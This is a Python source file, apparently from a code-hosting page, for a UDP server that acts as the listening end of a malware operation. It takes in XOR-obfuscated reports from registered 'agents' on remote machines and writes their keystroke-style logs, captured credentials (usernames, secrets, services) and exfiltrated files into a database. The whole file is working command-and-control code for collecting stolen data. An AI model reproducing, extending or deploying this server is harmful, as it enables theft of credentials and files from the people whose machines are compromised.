80 lines
3.2 KiB
Python
80 lines
3.2 KiB
Python
import socket
|
|
import threading
|
|
import random
|
|
import json
|
|
import time
|
|
|
|
from .config import config
|
|
from . import database
|
|
from .logging import log_message, LogLevel
|
|
|
|
class TTFServer:
|
|
def __init__(self, host: str, port: int) -> None:
|
|
self.host = host
|
|
self.port = port
|
|
|
|
self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
self.server_socket.bind((self.host, self.port))
|
|
|
|
self.key = config['ttf_key']
|
|
|
|
def __xor_message(self, msg: str) -> str:
|
|
xored = ''
|
|
|
|
for i in range(len(msg)):
|
|
xored += chr(ord(msg[i]) ^ ord(self.key[i % len(self.key)]))
|
|
|
|
return(xored)
|
|
|
|
def __client_handler(self, address: tuple, msg: bytes) -> None:
|
|
log_message(LogLevel.INFO, f'Connection from {address[0]}')
|
|
|
|
try:
|
|
message_json = json.loads(self.__xor_message(msg.decode('utf-8')))
|
|
|
|
# Do we already have the agent?
|
|
if len(database.Agent.select().where(database.Agent.agent_id == message_json['id']).dicts()) == 0:
|
|
database.Agent.create(agent_id=message_json['id'], last_log=round(time.time()), logs=0) # Add it
|
|
|
|
# Get report type
|
|
if 'logs' in message_json: # Logs
|
|
for log in message_json['logs']:
|
|
database.Log.create(agent_id=message_json['id'], timestamp=round(time.time()), tag=log['tag'], log=log['log'])
|
|
|
|
elif 'creds' in message_json: # Credentials
|
|
for credential in message_json['creds']:
|
|
cred_service = None
|
|
if 'service' in credential:
|
|
cred_service = credential['service']
|
|
|
|
database.Credential.create(agent_id=message_json['id'], timestamp=round(time.time()), username=credential['user'], secret=credential['secret'], type=credential['type'], service=cred_service)
|
|
|
|
elif 'files' in message_json: # Files
|
|
for file in message_json['files']:
|
|
file_path = None
|
|
if 'path' in file:
|
|
file_path = file['path']
|
|
|
|
database.File.create(agent_id=message_json['id'], timestamp=round(time.time()), name=file['name'], path=file_path, data=file['data'])
|
|
|
|
else: # Report does not have a log
|
|
log_message(LogLevel.WARN, f'{address[0]} sent a report with no type.')
|
|
|
|
# Update the agent's logs count and last_log
|
|
database.Agent.update(logs=database.Agent.logs + 1, last_log=round(time.time())).where(database.Agent.agent_id == message_json['id']).execute()
|
|
|
|
log_message(LogLevel.INFO, f'{address[0]}\'s message: {str(message_json)}')
|
|
|
|
except Exception as e:
|
|
log_message(LogLevel.ERROR, f'Failed to proccess message from {address[0]}. Error: {e}')
|
|
|
|
def start(self) -> None:
|
|
while True:
|
|
try:
|
|
msg, address = self.server_socket.recvfrom(1024)
|
|
|
|
client = threading.Thread(target=self.__client_handler, args=(address,msg))
|
|
client.start()
|
|
except Exception as e:
|
|
log_message(LogLevel.ERROR, f'Failed to accept to connection from {address[0]}. Reason: {e}')
|